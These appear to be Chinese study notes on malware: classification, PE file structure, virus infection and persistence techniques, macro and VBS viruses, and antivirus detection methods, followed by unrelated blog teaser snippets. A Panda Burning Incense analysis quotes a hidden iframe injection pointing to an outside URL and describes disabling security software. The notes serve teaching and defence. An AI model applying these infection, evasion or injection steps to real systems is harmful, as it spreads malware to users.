可以独立运行,不需要用户干预,并能把自身的一个包含所有功能的版本传播到另外的计算机上。
如:红色代码,SQL蠕虫王、震网
按照传播路径可分为:邮件蠕虫、即时消息蠕虫、U盘蠕虫、漏洞利用蠕虫和其他蠕虫5类。
是一段代码,能把自身加到其他程序包括操作系统上;它不能独立运行,需要由它的宿主程序运行来激活。
如:CIH、熊猫烧香、爱虫
如:冰河、网络神偷、灰鸽子、Gh0st、上兴……
如:Bits,WinEggDrop,Tini......
如:Rootkit,Hkdef,Byshell
中华人民共和国刑法:
最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释
提供侵入、非法控制计算机信息系统的程宝,工具罪:
如:windows下的.exe,.dll,.sys,.scr。DOS系统下的MZ格式。
DOS Header和 DOS Stub:定位PE文件头开始位置,也可用于PE文件合法性检测之一
NT header:由字串(Signature)(PE标记,可以此识别给定文件是否为有效PE文件)、映像文件头(File Header)和可选文件头(Optional Header)三部分组成。
AddressOfEntryPoint:包含在可选文件头中,是PE装载器准备运行的PE文件的第一条指令的RVA(病毒感染中通用关键字段)。
ImageBase:PE文件的优先装载地址。比如,如果该值是400000h,PE装载器将尝试把文件装到虚拟地址空间的400000h处。RVA(相对虚拟地址)就是相对内存中ImageBase的偏移位置。
alignment:对齐粒度。比喻:桶的容量为100升,现有367升水,请问需要使用多少个桶?
对齐粒度通常由PE文件格式规范中定义的两个参数确定:文件对齐粒度和内存对齐粒度。
Data Directory:数据目录
Sections Tables:节表,紧挨着 PE header 的一个结构数组。PE文件中每一个节均对应一个节表,节表内容包含:节名,节在文件和内存中的开始地址,长度,节属性等。
Sections Characteristics:节属性,包含在节表中。
记住三个特殊值:0x20000000--这个块是可执行的。0x40000000-- 这个块是可读的 0x80000000-- 这个块是可写的
Section 节:可执行文件的核心部分,跟在节表之后,一般PE文件都有几个“节”,比如代码节,数据节,引入函数节,资源节,引出函数节,重定位节。
定位IDT:PE可选文件头的DataDirectory16项的第二项指向IDT输入表。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD OriginalFirstThunk;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
OriginalFirstThunk:指向一个 IMAGE_THUNK_DATA 结构数组,该数组名字叫Import Name (Lookup) Table包含了原始的函数名和相应的导入地址表(IAT)条目。每个条目包含一个函数名和该函数在DLL中的地址。
TimeDateStamp:时间戳,表示DLL文件的创建日期或版本信息。如果这个字段为0,表示没有绑定信息。在老版的绑定中,这个字段引用API的第一个forwarder chain(传递器链表)。
ForwarderChain:指向一个 IMAGE_THUNK_DATA 结构数组,该数组包含DLL中的向前链接(forwarder chain)。这些条目将包含指向其他DLL中的函数的指针。如果这个字段为0xFFFFFFFF,表示没有向前链接。
Name:指向一个以NULL结尾的字符串,该字符串包含了被导入的DLL的名称。这个字段是一个相对虚拟地址(RVA),它指向DLL文件的名称。
FirstThunk:指向一个 IMAGE_THUNK_DATA 结构数组,该数组名字叫Imort Address Table包含了与 OriginalFirstThunk 字段中对应的IAT条目相同的函数名和相应的IAT条目。这个字段通常用于实现延迟绑定(lazy binding),其中函数在首次调用时才解析其地址。
在内存中的引入表:
在运行时的引入目录表(IDT):
定位EDT:PE可选文件头的DataDirectory16项的第一项指向EDT输入表。
导出目录表结构:
导出地址表(Export Address Table):包含了每个导出函数的实际地址。
导出名字指针表(Export Pointer Table):包含了所有导出函数的名称,按照函数序号的顺序排列。
导出序号表(Export Ordinal Table):包含了所有导出函数的序号。每个整数都对应一个函数名称在名称指针表中的位置。
为什么需要导出序号表?
因为导出函数名字和导出地址表的地址不是一一对应的关系,一个函数可能有多个名字;某些函数也可能没有名字,仅通过序号列出。
定位dll中目标函数地址
首先从AddressOfNames指向的指针数组中找到“目标函数名”字符串,并记下该数组序号i
然后从AddressofNameOrinals指向的数组中,定位第i项成员,得到一个Ordinal: y。y为目标函数地址在AddressofFunction中的索引号。
从AddressofFunction指向的数组中定位第y项,获得目标函数的RVA函数地址
定位函数导出地址
例子:GetProcAdress()寻址过程
几个结构:
目录是IMAGE_RESOURCE_DIRECTORY结构。
目录项是IMAGE_RESOURCE_DIRECTORY_ENTRY 结构
数据项是IMAGE_RESOURCE_DATA_ENTRY结构
定位资源:
资源一般使用树来保存,通常包含3层,最高层是类型其次是名字,最后是语言。
在资源节开始的位置,首先是一个IMAGE RESOURCE DIRECTORY结构,后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组,这个数组的每个元素代表的资源类型不同;
通过每个元素,可以找到第二层另一个IMAGE RESOURCEDIRECTORY,后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组这一层的数组的每个元素代表的资源名字不同;
然后可以找到第三层的每个IMAGE RESOURCE DIRECTORY后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组。这一层的数组的每个元素代表的资源语言不同;
最后通过每个IMAGE RESOURCE DIRECTORY ENTRY可以找到每个IMAGE RESOURCE DATA ENTRY。通过每个IMAGE RESOURCE DATA ENTRY,就可以找到每个真正的资源。
应用:
图标修改,汉化......
如果在首选位置加载映像文件,就不需要进行定位。否则需要进行重定位:
为了对地址进行重定位,操作系统加载程序会计算出首选的基地址(PE头的ImageBase字段)和实际加载映像文件的基地址之间的差异 (delta)。
接着根据重定位的类型,将这个delta应用到地址上
感染思路:
优点:被感染后的程序主体依然是目标程序,不影响目标程序图标,隐蔽性很好。
缺点:对病毒代码的编写要求较高,通常是汇编语言编写,难以成功感染自校验程序
关键技术:
重定位(病毒代码目标寄生位置不固定),API函数自获取(需要使用API函数,但无引入函数节支撑),目标程序遍历搜索(全盘查找,或者部分盘盘符查找),感染模块(病毒代码插入位置选择与写入,控制权返回机制)
如何获取kernel32.dll中的API函数地址?
首先,获得kernel32.dll的模块加载基地址,然后,通过kernel32.dll的引出目录表结构定位具体函数的函数地址。
如何获得kernel32.dll的模块加载基地址?
1. 暴力搜索法:参考获取kernel32.dll基址
2. 利用SEH链:遍历SEH链,在链中查找prev成员等于0xFFFFFFFF 的EXCEPTION_REGISTER结构,该结构中handler值指向系统异常处理例程,xp系统中位于KERNEL32模块中。根据这一特性,然后进行向前搜索就可以查找KERNEL32.DLL在内存中的基地址。
3. 通过PEB数据结构: 参考获取kernel32.dll基址
4. TOP Stack:只适用于Windows NT操作系统,但这种方法的代码量是最小的,只有25B。
每个执行的线程都有它自己的TEB(线程环境块),该块中存储着线程的栈顶的地址,从该地址向下偏移0X1C处的地址肯定位于Kernel32dIl中。则可以通过该地址向低地址以64KB为单位来查找Kernel32dll的基地址。
通常以PE文件格式的文件(如EXE、SCR、DLL等作为感染目标。
在对目标进行搜索时,通常调用两个API函数FindFirstFile和FindNextFile
遍历算法:递归或者非递归
感染的关键:
感染文件的基本步骤:
优点:编写简单、效率高。可感染自校验程序。
缺点:被感染后的程序主体是病毒程序,易被发现(程序叠加+释放执行),程序图标问题。
如何再次获得控制权?
常见的自启动方式:在系统内部修改注册表的键值、系统中的特定位置,配置文件,特定的文件
其他启动方式:利用系统自动播放机制如Autorun.inf,或在其他可执行文件嵌入少量触发代码,DLL劫持(替换已有DLL文件)
系统病毒的传播方式:
自启动方式:
病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项->启动
拷贝自身到所有驱动器根目录,命名为Setup.exe,在驱动器根目录生成autorun.inf文件,并把这两个文件的属性设置为隐藏、只读、系统。 ->启动
感染与传播方式:
感染EXE文件,病毒会搜索并感染系统中特定目录外的所有EXE/SCR/PIF/COM文件,将自身捆绑在被感染程序前端,并在尾部添加标记信息WhBoy原文件名]exe.原文件大小].->感染
查找系统以html和asp为后缀的文件,在里面插入<iframesrc=http://www.ac85.cn/66/index.htm width=”0height=”0”></iframe> ->感染
通过弱口令传播:访问局域网共享文件夹将病毒复制到该目录并改名GameSetup.exe ->传播
自我隐藏:
禁用安全软件,病毒会尝试关闭安全软件 (杀毒软件、防火墙、安全工具)的窗口、进程、删除注册表中安全软件的启动项以及禁用安全软件的服务等操作;->破坏和隐藏
自动恢复“显示所有文件和文件夹”选项隐藏功能->隐藏
删除系统的隐藏共享;->隐藏>
破坏功能:
同时开另外一个线程连接某网站,下载DDOS程序进行恶意攻击 ->破坏,附加攻击行为
删除扩展名为gho的文件->破坏,延长存活时间;
在Word和其他微软Office系列办公软件中,宏分为两种:
内建宏:位于文档中,对该文档有效,如文档打开 (AutoOpen)、保存、打印、关闭等。
全局宏:位于office模板normal.dot,为所有文档所共用,如打开Word程序(AutoExec)。
宏病毒的传播路线:
单机:单个office文档->office文档模板->多个office文档
网络:电子邮件居多
宏病毒的感染方案:
让宏在 数据文档 和 文档模板 之间互相感染。
如何感染:
VBScript可以通过Windows脚本宿主(WindowsScripting Host,WSH)调用COM,因而可以使用Windows操作系统中可以被使用的程序库。
WSH的作用:映射网络驱动器,检索及修改环境变量,处理注册表项,对文件系统进行操作等工作,管理服务、账号,创建登陆脚本,管理活动目录......
感染方式
VBS脚本病毒是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序中的。
病毒如何获得控制权
对抗反病毒软件的技巧
自加密、灵活运用Execute函数、改变某些对象的声明方法、直接关闭反病毒软件
常见的VBS变形技术
VBS病毒生产机,爱虫病毒,
特点:欺骗性,隐藏性,非授权性,交互性
优点:攻击者无需公网(外部)IP地址。木马样本不会泄露攻击者IP地址
缺点:可能被防火墙阻挡,被攻击者必须具备公网(外部)IP地址,定位被攻击者相对困难
优点:通过防火墙相对容易,攻击目标随时上线,随时控制,可以控制局域网内的(内网)目标
缺点:样本会暴露控制服务器信息(域名或IP),攻击者通常应当具有外部IP
优点:可绕过防火墙,自动连接上线,不易被发现(代理)
缺点:肉鸡的稳定性需要保障
特点:隐蔽性,持续性,主动安装,特殊权限
检测对象包括:主板BIOS,引导扇区,文还系统中可能带毒的文件,内存空间等
恶意代码特征值是反病毒软件鉴别特定计算机病毒的一种标志。通常是从病毒样本中提取的一段或多段字符串或二进制串。
具体思路:获取样本->提取样本特征->更新病毒库->查杀病毒
特征值的提取选择:
特定字串:从计算机病毒体内提取、为病毒所特有的特征串。如特定提示信息,特定签名信息等。如大麻病毒的提示为:“Your PC is now stoned”等。
感染标记:病毒为避免重复感染而使用的感染标记。 如黑色星期五的“suMs DOS”。
提取方法:
人工提取:反病毒工程师对病毒样本进行分析后,人工确定病毒特征
自动提取:通过软件系统自动提取特定范围内特定长度具有一定特征的数据。处理不利则可能被别有用心者利用,形成误杀。
优点:检测速度快、误报率低等优点,为广大反病毒厂 商所采用,技术也比较成熟。
缺点:只能检测已知恶意代码。容易被免杀绕过。
原理:在文件使用/系统启动过程中,检查检 测对象的实际校验和与预期是否一致,因而可以发现文 件/引导区是否感染。
使用方式:
校验和检测对象:
优点:方法简单,能发现未知病毒,目标文件的细微变化也能发现
缺点:必须预先记录正常文件的校验和,误报率高,不能识别病毒特征,效率低
可疑的程序代码指令序列:
系统调用DLL:
启发式扫描步骤:
优点:能够发现未知病毒
缺点:误报率高
解决方案:启发式扫描技术+传统扫描技术,可提高病毒检测软件的检测率,同时有效降低了总的误报率。
为什么需要虚拟机检测技术?
加密、多态、变形病毒的出,加壳技术
检测原理:
在反病毒系统中设置的一种程序机制,它能在内存中模拟一个小的封闭程序执行环境,所有待查文件都以解释方式在其中被虚拟执行。 通常虚拟执行一小部分代码即可
优点:有效处理加密类病毒。
虚拟机检测技术+特征值扫描,准确率更高。
虚拟机技术+启发式扫描,有利于检测未知变形病毒
缺点:病毒可以检测自身是否处于虚拟化环境中进而改变行为特征
检测原理:
动态监视所运行程序调用各种应用编程接口(API)的动作,自动分析程序动作之间的逻辑关系,自动判定程序行为的合法性。
监控应用程序的敏感行为,并向用户发出提示,供用户选择。
常见可疑行为:
对可执行文件进行写操作,写磁盘引导区,病毒程序与宿主程序的切换,写注册表启动键值,远程线程插入,安装、加载驱动,键盘钩子,自我隐藏,下载并执行等..
优点:可发现未知恶意软件、可准确地发现未知恶意软件的恶意行为。
缺点:可能误报警、不能识别恶意软件名称,以及在实现时有一定难度。
文章浏览阅读1.5w次,点赞15次,收藏109次。nc格式数据是遥感领域中常见的一种图像格式,由于其具有灵活性, 能够传输海量的面向阵列(array-oriented)数据, 现在已经成为许多数据采集软件生成文件的格式, 被广泛用于陆地、海洋和大气科学。_nc转tif后arcmap不重合
文章浏览阅读1.7k次。就是你在jsp代码的第一行没有加上Encoding=UTF-8这句话导致服务器无法解析你传入的数据,就不会有返回值啦,在这里卡了好久,把方法写出来推荐给大家,大佬勿喷啊..._servlet数据库this.stmt is null
文章浏览阅读7.3k次,点赞15次,收藏114次。源码获取:博客首页 "资源" 里下载!项目介绍系统主要功能包括:首页零售管理:零售出库、零售退货;采购管理:采购订单、采购入库、采购退货;销售管理:销售订单、销售出库、销售退货;仓库管理:其它入库、其它出库、调拨出库、组装单、拆卸单;财务管理:收入单、支出单、收款单、付款单、转账单、收预付款;报表查询:库存状况、结算账户、进货统计、销售统计、入库明细、出库明细、入库汇总、出库汇总、客户对账、供应商对账、库存预警;商品管理:商品类别、商品信息、计量单位、序列号;基本资料:供应商信._java erp项目
文章浏览阅读233次。11.10/11.11/11.12 安装PHP5 PHP官网 www.php.net 当前主流版本为5.6/7.1 cd /usr/local/src/ wget http://cn2.php.net/distributions/php-5.6.30...._my_bool
文章浏览阅读88次。前言为了能让大家及时了解到社区的最新动态以及 Apache ShardingSphere 的最新技术进展,我们全新开启了 Apache ShardingSphere 月度回顾栏目。在内...
文章浏览阅读3.1k次。所有主题Pyecharts中预制了10+种主题方案,具体代码以及主题效果如下:# 虚假数据x_data = ['Apple', 'Huawei', 'Xiaomi', 'Oppo', 'Vivo', 'Meizu']y_data_1 = [123, 153, 89, 107, 98, 23]y_data_2 = [231, 321, 135, 341, 245, 167]# 所有内置主题theme_list = ['chalk', 'dark', _pyecharts 内置主题颜色
文章浏览阅读3.7k次。简介子网掩码(subnet mask)又叫网络掩码、地址掩码、子网络遮罩,它是一种用来指明一个IP地址的哪些位标识的是主机所在的子网,以及哪些位标识的是主机的位掩码。子网掩码不能单独存在,它必须结合IP地址一起使用。子网掩码只有一个作用,就是将某个IP地址划分成网络地址和主机地址两部分。子网掩码是一个32位的2进制数, 其对应网络地址的所有位都置为1,对应于主机地址的所有位都置为0。所以,子网..._c判断子网掩码合法
文章浏览阅读2.1k次。在properties文件中使用反斜杠\的方式:转义字符属性的值有特殊字符时,可以使用反斜杠\转义字符换行太长的属性值如果属性值太长,可以用反斜杠\在分隔test=aaaaaaaaaaaaa\bbbbb等价于:test=aaaaaaaaaaaaabbbbb扩展换行符换行符 \ntest=aaaaa\nbbbbb\nccccc输出:aaaaabbbbbccccc..._properties特殊字符转义
文章浏览阅读349次。Tip:参考前人翻译本文是阶梯系列的一部分:T-SQL DML的阶梯。 这个阶梯将会为你提供一个最基本的理解,即如何使用SQL Server的翻译 SQL(T- SQL)的方言并且对SQL Server表格中的数据进行更深度地处理。DML是数据操纵语言,针对的是处理数据的语言的方面。所以它包括语句的选择、插入、更新和删除。而这个阶梯也将会提供一些SQL语言的历史和一些关于集合理论的一般概念和理..._stairway to t-sql dml level 1: the basic select statement
文章浏览阅读3.3w次,点赞40次,收藏99次。今天打开了visual studio 2019,正准备开始从零学习C#,突然,给我弹出来一个提示框。他说,我的visual studio不能用了,我说我这个可以用,又没有干坏事犯法。他一说我不能用了,只能让我退出,我“啪”就退出去了,很快啊!然后上来就是点开CSDN,搜索解决办法。噔噔,给我弹出来好多朋友们的方法,我全部都试了啊,但是没有用,我生气了啊,正准备关电脑的时候,我说再试最后一次,如果这一次成功,一下就能白嫖这个软件很长的试用期。吭!果然,最后一次成了,结合了大家提供的方法,我解决了这个问题啊!谢_vs2019试用期到了怎么办
文章浏览阅读1.3k次。SlidingDrawer可以实现抽屉组件的功能,但有局限性,只支持从右向左打开或从下向上打开抽屉 这个抽屉组件在使用时,需要由两部分组成:1) 抽屉内容(Content)2) 抽屉把手(Handle):一般使用一张图片来处理。 编写一个布局,完成抽屉组件的显示。_slidingdraw github
文章浏览阅读1.9k次。进行ping扫描,输出所有响应的主机IP:nmap -sP 172.17.148.0/24&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&am..._nmap识别有缓存么